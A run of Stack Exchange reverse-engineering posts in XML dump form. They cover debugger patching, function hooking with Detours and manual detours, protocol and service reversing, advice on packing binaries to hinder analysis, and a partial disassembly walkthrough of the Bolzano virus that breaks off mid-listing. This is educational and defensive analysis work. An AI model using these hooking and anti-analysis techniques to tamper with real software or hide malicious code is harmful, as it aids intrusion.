  <row Id="2469" PostTypeId="2" ParentId="2460" CreationDate="2013-07-14T00:11:12.303" Score="3" Body="&lt;pre&gt;&lt;code&gt;ollydbg radasm.exe&#xA;view windows (W Icon)&#xA;sort class&#xA;and look for Mdi class like mdiEditChild / dialog etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows, item 96&#xA; Handle=000704EE&#xA; Title=C:\testrad\Html\Projects\testrad\testradinc3.html&#xA; Parent=000203E4&#xA; ID=0000FDEA (65002.)&#xA; Style=56CF0001 WS_CHILD|WS_GROUP|WS_TABSTOP|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_VISIBLE|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION|1&#xA; ExtStyle=00000340 WS_EX_MDICHILD|WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE&#xA; Thread=Main&#xA; ClsProc=00xxxxxx RadASM.00xxxxxx&#xA; Class=MdiEditChild&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;right click message breakpoint on class proc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the dialog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;choose window creation and destruction&#xA;never pause radio button&#xA;log winproc args always&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should be able to capture the &lt;code&gt;WM_CLOSE&lt;/code&gt; sent by ctrl+f4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address    Message&#xA;00XXXXXX   CALL to Assumed WinProc from USER32.7E418731&#xA;             hWnd = 000704EE ('C:\testrad\Html\Projects\test...',class='MdiEditChild',parent=000203E4)&#xA;             Message = WM_CLOSE&#xA;             wParam = 0&#xA;             lParam = 0  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;patch&lt;/strong&gt; below should pop up a &lt;code&gt;Messagebox&lt;/code&gt; when you hit Middle Mouse Button &#xA;on the &lt;code&gt;SysTabControl&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004071A7             |&amp;gt; \90            NOP                                      ;  Default case of switch 004070B6&#xA;004071A8             |.  90            NOP&#xA;004071A9             |.  90            NOP&#xA;004071AA             |.  E8 5D1F0400   CALL    RadASMWM.0044910C&#xA;&#xA;00449100 &amp;lt;STRING&amp;gt;                 .  57 4D 5F 4D 42 5&amp;gt;ASCII   &quot;WM_MB_CLICK&quot;,0&#xA;0044910C &amp;lt;WM_MB_CLICK_HANDLER&amp;gt;   /$  60               PUSHAD                                   ;  CALL FROM 4071AA&#xA;0044910D                         |.  9C               PUSHFD&#xA;0044910E                         |.  3D 07020000      CMP     EAX, 207                         ;  WM_MB&#xA;00449113                         |.  75 13            JNZ     SHORT &amp;lt;RadASMWM.RETTOORIGHANDLER&amp;gt;&#xA;00449115                         |.  6A 00            PUSH    0                                ; /Style = MB_OK|MB_APPLMODAL&#xA;00449117                         |.  68 00914400      PUSH    &amp;lt;RadASMWM.STRING&amp;gt;                ; |Title = &quot;WM_MB_CLICK&quot;&#xA;0044911C                         |.  68 00914400      PUSH    &amp;lt;RadASMWM.STRING&amp;gt;                ; |Text = &quot;WM_MB_CLICK&quot;&#xA;00449121                         |.  6A 00            PUSH    0                                ; |hOwner = NULL&#xA;00449123                         |.  E8 A2FBFFFF      CALL    &amp;lt;JMP.&amp;amp;user32.MessageBoxA&amp;gt;        ; \MessageBoxA&#xA;00449128 &amp;lt;RETTOORIGHANDLER&amp;gt;      |&amp;gt;  9D               POPFD&#xA;00449129                         |.  61               POPAD&#xA;0044912A                         |.  8B45 08          MOV     EAX, DWORD PTR SS:[EBP+8]        ;  RadASMWM.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;0044912D                         |.  E8 F7B8FBFF      CALL    &amp;lt;RadASMWM.ORIGINAL HANDLER&amp;gt;&#xA;00449132                         \.  C3               RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-07-14T12:08:27.767" LastActivityDate="2013-07-14T12:08:27.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostTypeId="2" ParentId="2468" CreationDate="2013-07-14T00:34:26.573" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow&quot;&gt;Microsoft Detours&lt;/a&gt; makes this very easy. You'd effectively write the following code (to be safe, you'd want to make other calls such as &lt;code&gt;DetourUpdateThread()&lt;/code&gt; as well):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DetourTransactionBegin();&#xA;DetourAttach(&amp;amp;(PVOID&amp;amp;)OriginalFunction, Function);&#xA;DetourTransactionCommit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then have code such as the following as your hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int Function(int x)&#xA;{&#xA;   int r = OriginalFunction(x);&#xA;&#xA;   // Handle r here&#xA;&#xA;   return r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-14T00:34:26.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2471" PostTypeId="2" ParentId="2468" CreationDate="2013-07-14T01:07:27.943" Score="3" Body="&lt;p&gt;A much simpler approach is to identify the point at which the code has actually generated the data you need.  When you find that location, replace the next several bytes with a call or an far call to your own code.  Make careful note of the bytes that you are overwriting.  (As an aside, I recommend a call or far call rather than a jmp so that I don't have to worry so much about code relocation; I can reference the original location to return to from the stack rather than having to worry about where I am relative to the original code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very first thing that your code should do is preserve state.  Perhaps a pusha/pushf?  Now process away.  Rather than execute a return, the last few bytes of your code should do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pop the flags and registers&lt;/li&gt;&#xA;&lt;li&gt;copy in the bytes from the original code that you previously overwrite&lt;/li&gt;&#xA;&lt;li&gt;Unwind the stack by adjusting SP to account for the call or far call&lt;/li&gt;&#xA;&lt;li&gt;jmp or far jmp to the IP or CS:IP immediately below the current SP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This process is actually the primary way that traditional malware &quot;hooks&quot; into your code.  You're creating a sort of detour.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-14T01:07:27.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostTypeId="2" ParentId="2468" CreationDate="2013-07-14T04:05:30.227" Score="8" Body="&lt;p&gt;The reason why there aren't engines to hook the end of a function is because it's hard to determine where that is, or if it even exists.  A function has a single entry point, but it can have multiple exit points, including none at all (consider exit()).&#xA;The exit point can have multiple types, too - return, throw(), longjmp(), C++EH, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general idea to hook after function completion is to detour the caller instead, but it's too late for what you need.&#xA;Anyway, it's done this way: First, detour the function of interest, which hooks the start of execution.  When you receive control, unhook the function and then read the return address from the stack (assuming that the function will actually return).&#xA;Next, detour the return address (the caller), and then let the original function execute.  When you receive control again, the function has completed its execution.  You can unhook the return address, perform your additional operations, and then resume execution.&#xA;Unfortunately, you'll lose access to local variables (which you seem to want, based on your description).&#xA;One way to avoid that problem is to single-step through the function, by installing a Vectored Exception Handler to receive the single-step exception.  That would allow you to examine the instruction that will be executed next (because the exception occurs after the previous instruction executed), and if it's the return instruction, then you can log the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the exception method goes, you would install a Vectored Exception Handler to point to your code, and then place a breakpoint instruction at the place of interest.  Again, the problem is to determine where that place is.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-07-14T04:05:30.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2474" PostTypeId="1" AcceptedAnswerId="2494" CreationDate="2013-07-14T22:31:51.387" Score="12" ViewCount="8821" Body="&lt;p&gt;I have a DVR that sends video over Ethernet using its own propriety TCP protocol. I want to write a VLC module to view the video, rather than the supplied DxClient.exe. I have captured traffic in wireshark and attempted to reverse engineer the client with IDA Pro, from what I can tell the client does some kind of handshake authentication, the DVR then sends 2 network packets (always 1514 bytes long), the client sends a TCP ACK and 2 more packets are transmitted, etc.etc... forever. From what I can tell the client uses Microsoft's AVIFIL32 library to decompress the packets to what essentially become AVI file frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I don't understand how these frames are encoded or if they even are AVI frames. Can anyone help me, here is the data payload from 2 packets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/2VDu2Tc2&quot;&gt;http://pastebin.com/2VDu2Tc2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/L3Zi3VqU&quot;&gt;http://pastebin.com/L3Zi3VqU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2455" LastEditorUserId="2393" LastEditDate="2013-07-15T16:35:45.163" LastActivityDate="2013-10-07T18:34:07.907" Title="Reversing network protocol" Tags="|file-format|sniffing|wireshark|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostTypeId="1" AcceptedAnswerId="2477" CreationDate="2013-07-14T22:55:17.453" Score="3" ViewCount="2643" Body="&lt;p&gt;I'm trying to reverse engineer a driver that consists of 2 components, a windows service and a control panel application. My goal of reverse engineering is to replace the control panel with my own program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as far as I can see I have a few possible approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I try to reverse engineer the control panel, and discover the calls sent. But this panel consists of a lot of bloatware.&lt;/li&gt;&#xA;&lt;li&gt;I try to reverse engineer the service, and discover the input needed. But this service also handles other (unknown) functions.&lt;/li&gt;&#xA;&lt;li&gt;I try to catch the communication between the panel and the service.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now 3 would be the easiest approach, but I have no idea if this is technically possible. Then I tried option 2, but i can only statically analyze the exe, Since dynamic analysis causes it to crash prematurely. Option 1 seems to be the most logical one, and this was the first I tried, but I can't really find an interesting starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who can point me in the right direction. I have some reverse engineering experience from crackme's and applications, but this is my first attempt at reversing a driver.&lt;/p&gt;&#xA;" OwnerUserId="2456" LastEditorUserId="245" LastEditDate="2013-07-15T11:27:51.770" LastActivityDate="2013-07-15T11:27:51.770" Title="Reverse engineering windows service" Tags="|windows|ida|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostTypeId="1" CreationDate="2013-07-15T00:59:04.063" Score="5" ViewCount="1186" Body="&lt;p&gt;I installed windows NT 4.0 service pack 6 on vmware player. Then I added Ollydbg 2 from vmware shared folder into windows NT. I extracted ollydbg zip and run ollydbg.exe. I am getting this error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PSAPI.DLL is not found. This library contains important process and module oriented functions for OSes based on NT technology. Normal debugging is hardly possible. Do you want to continue ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then I am not able to debug program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can run same exe on my host windows 7 OS without any error. On windows NT, I can run Ollydbg 1.10. But when I try to debug file in Ollydbg 1.10, I am getting error &quot;try to change eip or pass exception to program&quot;. After searching I found that I should install Ollydbg 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I am using windows NT: I am debugging one malware and that only works on windows NT. But it is giving error &quot;try to change eip or pass exception to program&quot; as mentioned above. &lt;/p&gt;&#xA;" OwnerUserId="2405" LastEditorUserId="2405" LastEditDate="2013-07-19T14:23:15.990" LastActivityDate="2013-07-19T14:23:15.990" Title="How to obtain decrypted virus body of Bolzano virus using Ollydbg 1.10 debugging on windows OS" Tags="|ollydbg|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostTypeId="2" ParentId="2475" CreationDate="2013-07-15T01:30:34.480" Score="4" Body="&lt;p&gt;If you goal is ultimately to control the service, it make more sense to reverse it versus reversing control panel. Who knows, you might find functionality you were not aware of. The key part of reversing windows service is to realize that it runs within the context of the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms685150%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Service Control Manager&lt;/strong&gt;&lt;/a&gt;, and simply running the executable will not work. There are several major components of any windows service, that you need to be aware of. I have already given an answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2235/how-does-services-exe-trigger-the-start-of-a-service/2237#2237&quot;&gt;&lt;strong&gt;How does services.exe trigger the start of a service?&lt;/strong&gt;&lt;/a&gt; question. It describes inner workings of a windows service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very much possible to reverse a Windows service both dynamically and statically as long as you understand underlining concepts. If you run your service in context of command prompt, it will fail. Every Windows service by design has to call to Service Control Manager, if that call fails it means the service is not executed within the SCM. It is expected to fail being executed outside of the SCM. If services expects input, you will have to figure out what it needs. Firstly, you will need to locate Service Worker Thread. Thereafter, locating part of the way it communicates to control panel should be easy. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-07-15T02:11:24.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostTypeId="2" ParentId="2476" CreationDate="2013-07-15T02:00:03.813" Score="5" Body="&lt;p&gt;I believe that a major part of your answer can be found here: &lt;a href=&quot;http://www.ollydbg.de/download.htm&quot;&gt;http://www.ollydbg.de/download.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant bit is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;The distribution includes files PSAPI.DLL and DBGHELP.DLL that are the Microsoft(R) Redistributable files. These files should be installed only in the directory where the Software resides. You should use supplied PSAPI.DLL only on Windows NT(R) 4.0. You are not allowed to distribute PSAPI.DLL or DBGHELP.DLL separately from the Software.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would expect it to properly find PSAPI.DLL in the current directory where you are executing Olly.  Verify that the file exists.  If it does and it is still failing I would suggest copying it to &lt;code&gt;C:\WINNT\SYSTEM&lt;/code&gt; and giving it another go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It this does not resolve it consider sharing the name of the malware.  It sounds pretty old so it can't be that secret! It may actually allow us to give you a more specific answer or even try it out ourselves to resolve it.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-15T02:00:03.813" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2479" PostTypeId="1" AcceptedAnswerId="2811" CreationDate="2013-07-15T05:26:23.847" Score="10" ViewCount="1274" Body="&lt;p&gt;One of the things that makes Java bytecode (.class) so easy to reverse engineer is that the JVM's verifier ensures that bytecode can always be disassembled via linear sweep. Instructions have to be consecutive starting at offset 0, and you can't jump into the middle of an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However &lt;a href=&quot;http://www.dexlabs.org/blog/bytecode-obfuscation&quot;&gt;this post&lt;/a&gt; implies that Dalvik does not do such bytecode verification. The authors do all the usual x86 shenanigans like jumping into the middle of an instruction, which is apparently allowed. Is this true? Do Android VMs actually perform any kind of loadtime bytecode verification? If not, why?&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-09-20T01:03:17.433" Title="Android bytecode verifier" Tags="|disassembly|android|byte-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2480" PostTypeId="2" ParentId="2479" CreationDate="2013-07-15T09:05:54.053" Score="9" Body="&lt;p&gt;Android also contains bytecode verification but this step is moved from class loading on the device to the dex compiler (as it is similarily done in J2ME).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alter dexing your class files (and before packaging to an &lt;code&gt;.apk&lt;/code&gt; file) you can modify the files and introduce the referenced &lt;em&gt;obfuscation&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at loading time no further verifcation is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://android.googlesource.com/platform/dalvik/+/master/docs/&quot;&gt;Specification of the dex compiler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The verification of the bytecode at load time is removed to enhance the loading time (the same reason as this is done in J2ME).&lt;/p&gt;&#xA;" OwnerUserId="1490" LastActivityDate="2013-07-15T09:05:54.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostTypeId="2" ParentId="2313" CreationDate="2013-07-15T10:17:35.693" Score="5" Body="&lt;p&gt;You can also use &lt;code&gt;set detach-on-fork off&lt;/code&gt;, as said in the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;set detach-on-fork MODE&lt;/code&gt;&#xA;       Tells gdb whether to detach one of the processes after a fork, or&#xA;       retain debugger control over them both.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The documentation says also this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you choose to set &lt;code&gt;detach-on-fork&lt;/code&gt; mode off, then GDB will retain&#xA;  control of all forked processes (including nested forks).  You can list&#xA;  the forked processes under the control of GDB by using the&#xA;  &lt;code&gt;info inferiors&lt;/code&gt; command, and switch from one fork to another by using&#xA;  the &lt;code&gt;inferior&lt;/code&gt; command&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To quit debugging one of the forked processes, you can either detach&#xA;  from it by using the &lt;code&gt;detach inferiors&lt;/code&gt; command (allowing it to run&#xA;  independently), or kill it using the &lt;code&gt;kill inferiors&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-07-15T10:17:35.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2482" PostTypeId="2" ParentId="2474" CreationDate="2013-07-15T14:19:53.383" Score="7" Body="&lt;p&gt;From what I have recently gathered DxClient is designed as a client for DVR Netview technology. Just by looking at functionality of the DxClient, it is clear that it is more then just binary transfer of AVI formatted stream. I think, it is safe to assume, that rather proprietary transfer and control protocol is used. 2 frames that you provided is just not enough to get you some help on it. I think you should try to to focus on reversing the client.  With enough time spent, you should be able to drill down to how each frame is constructed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you getting familiar with general principals of network protocol reverse engineering. An article blog &lt;a href=&quot;http://computer-forensics.sans.org/blog/2012/07/03/an-overview-of-protocol-reverse-engineering&quot; rel=&quot;nofollow&quot;&gt;An Overview of Protocol Reverse-Engineering&lt;/a&gt; is a great place to start.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-15T16:49:42.710" LastActivityDate="2013-07-15T16:49:42.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2483" PostTypeId="2" ParentId="2474" CreationDate="2013-07-15T14:44:41.237" Score="9" Body="&lt;p&gt;I can't give you a specific solution, though I can tell you a tool to make reverse engineering a protocol easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.secdev.org/projects/scapy/&quot;&gt;Scapy&lt;/a&gt; is a python packet manipulation tool. One of the problems you have is, that wireshark doesn't know those packets. With Scapy its very easy to &lt;a href=&quot;http://trac.secdev.org/scapy/wiki/BuildAndDissect&quot;&gt;build and dissect&lt;/a&gt; strange/own packets. This will definetly help when you start to reverse engineer with IDA how a packet is build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a UDP Layer definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class UDP(Packet):&#xA;    name = &quot;UDP&quot;&#xA;    fields_desc = [ ShortEnumField(&quot;sport&quot;, 53, UDP_SERVICES),&#xA;                    ShortEnumField(&quot;dport&quot;, 53, UDP_SERVICES),&#xA;                    ShortField(&quot;len&quot;, None),&#xA;                    XShortField(&quot;chksum&quot;, None), ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create your own layer now and try to make sense of the packet data by reverse engineering the packet build process with IDA and rebuild the protocol with scapy.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-07-15T14:44:41.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostTypeId="2" ParentId="170" CreationDate="2013-07-15T20:06:45.483" Score="1" Body="&lt;p&gt;You can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To use the &lt;code&gt;strip&lt;/code&gt; and the &lt;code&gt;sstrip&lt;/code&gt; command to remove some traces.&lt;/li&gt;&#xA;&lt;li&gt;To use weird compilations options&lt;/li&gt;&#xA;&lt;li&gt;To use weird (like &lt;a href=&quot;http://bellard.org/tcc/&quot; rel=&quot;nofollow&quot;&gt;tcc&lt;/a&gt;) or old compilers&lt;/li&gt;&#xA;&lt;li&gt;To use some packers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But there is no silver bullet. Maybe you should question yourself about the &lt;em&gt;why&lt;/em&gt; aspect of your question instead of the &lt;em&gt;how&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-07-15T20:06:45.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2485" PostTypeId="2" ParentId="2476" CreationDate="2013-07-15T22:29:26.190" Score="2" Body="&lt;p&gt;I don't have &lt;code&gt;NT4 vm&lt;/code&gt;&lt;br&gt;&#xA;Also your link points to several samples&lt;br&gt;&#xA;Providing exact &lt;code&gt;MD5/SHA/some verifiable checksum&lt;/code&gt; of the sample can eliminate ambiguities while answering&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a small walk through using basic hex editor and a basic disassembler of why it might be possible for that exception to be generated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using winxp sp3 vm hxd hexeditor and ollydbg 1.10 in a basic dis-aaseembler mode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;downloaded the first sample in openmalware&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MD5:        f40547d521818f7c34754710f8603d5a&#xA;SHA1:       f9e3c0e824dda984046b4eedeef06f938805983b&#xA;SHA256:     a9beda469c835abbf416ea8da5462170eafdef215b96ac68523045600883855b&#xA;OCID:   245478739&#xA;Original Filename:  Virus.Win32.Bolzano.5572 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;drag dropped to &lt;code&gt;vpc 2007 xp sp3 vm&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unzipped using given password infected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;drag dropped into &lt;code&gt;hxd hexeditor and verified checksums&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MD-5:       F40547D521818F7C34754710F8603D5A&#xA;SHA-1:      F9E3C0E824DDA984046B4EEDEEF06F938805983B&#xA;SHA-256:    A9BEDA469C835ABBF416EA8DA5462170EAFDEF215B96AC68523045600883855B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all three checksums match ok&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WORD MajorSubsystemVersion  &#xA;WORD MinorSubsystemVersion  &#xA;Contains the minimum subsystem version required to run the executable.   &#xA;A typical value for this field is 3.10 (meaning Windows NT 3.1).  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/ms809762.aspx&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using ollydbg as a disassembler   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;view -&amp;gt; file -&amp;gt; malware.exe -&amp;gt; right click -&amp;gt; speacial -&amp;gt; pe header&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ctrl+g 100 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pe header shows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000148    0300        DW 0003              ;  MajorSubsystemVersion = 3&#xA;0000014A    0A00        DW 000A              ;  MinorSubsystemVersion = A (10.)     &#xA;&#xA;00000200    00100000    DD 00001000          ;  VirtualSize = 1000 (4096.)&#xA;00000204    00100000    DD 00001000          ;  VirtualAddress = 1000  &amp;lt;-----&#xA;00000208    00020000    DD 00000200          ;  SizeOfRawData = 200 (512.)&#xA;0000020C    00060000    DD 00000600          ;  PointerToRawData = 600    &#xA;&#xA;00000228    00200000    DD 00002000          ;  VirtualSize = 2000 (8192.)&#xA;0000022C    00200000    DD 00002000          ;  VirtualAddress = 2000&#xA;00000230    00200000    DD 00002000          ;  SizeOfRawData = 2000 (8192.)&#xA;00000234    00080000    DD 00000800          ;  PointerToRawData = 800 &amp;lt;------&#xA;&#xA;00000128    00100000    DD 00001000          ;  AddressOfEntryPoint = 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so we can start disassembling at 0x600&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctrl+g 600 right click -&amp;gt; disassemble&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1. 00000600    60              PUSHAD&#xA; 2. 00000601    E9 FA0F0000     JMP     00001600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;virtual size of section is 1000 as we saw earlier&lt;br&gt;&#xA;so it jumps to next section&lt;br&gt;&#xA;next section starts at 0x800 as we saw earlier  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctrl+g 800 disassemble&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000800    E8 D50E0000     CALL    000016DA  (402eda) 400000 +2000 + (16da-800) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000016DA    E8 00000000     CALL    000016DF  $+5 (402edf) 400000+ 2000+ (16df-800)  &#xA;000016DF    5D              POP     EBP  ebp  will be 402edf  &#xA;000016E0    81ED DF0E0000   SUB     EBP, 0EDF ebp will be 402000&#xA;000016E6    C3              RETN    will return to 805 or 402005&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ctrl+g 805 disassemble&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000805    BF 000C0100     MOV     EDI, 10C00&#xA;0000080A    B9 00010000     MOV     ECX, 100&#xA;0000080F    33C0            XOR     EAX, EAX&#xA;00000811    F3:AE           REPE    SCAS BYTE PTR ES:[EDI]  &#xA;scan all bytes from 10c00 to 10d00 for 0  &#xA;00000813    75 0C           JNZ     SHORT 00000821          &#xA;if all not zero go to win95/98&#xA;00000815    BE 2D110000     MOV     ESI, 112D           win nt&#xA;0000081A    BF 0000F077     MOV     EDI, 77F00000       k32 base&#xA;0000081F    EB 0A           JMP     SHORT 0000082B&#xA;00000821    BE 25110000     MOV     ESI, 1125           win 95 / 98&#xA;00000826    BF 0000F7BF     MOV     EDI, BFF70000       k32 base&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sets the base of kernel32.dll to edi&lt;/code&gt; for byte scanning puproses&lt;br&gt;&#xA;looks if all 100 bytes starting at 10c00 are zero&lt;br&gt;&#xA;if they are zero sets &lt;code&gt;kernel base to 77f00000&lt;/code&gt; (win nt k32 base no aslr fixed)&lt;br&gt;&#xA;else to &lt;code&gt;bff70000&lt;/code&gt; (win 95 / 98 kernel32 base no aslr fixed)&lt;br&gt;&#xA;esi to some offset &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;( esi = 1125 or 112d)  ( ebp = 402000)  40312d/25  1925 or 192d (800+1125 or 112d)                               &#xA;0000082B    03F5            ADD     ESI, EBP   &#xA;(so esi will be either 403125 or 40312d)&#xA;0000082D    89BD C8170000   MOV     DWORD PTR SS:[EBP+17C8], EDI &#xA;saves the pointer kernel base guess why ?? &#xA;00000833    BA 00000400     MOV     EDX, 40000&#xA;00000838    FC              CLD&#xA;00000839    B9 08000000     MOV     ECX, 8&#xA;0000083E    56              PUSH    ESI&#xA;0000083F    57              PUSH    EDI&#xA;00000840    F3:A6           REPE    CMPS BYTE PTR ES:[EDI], BYTE 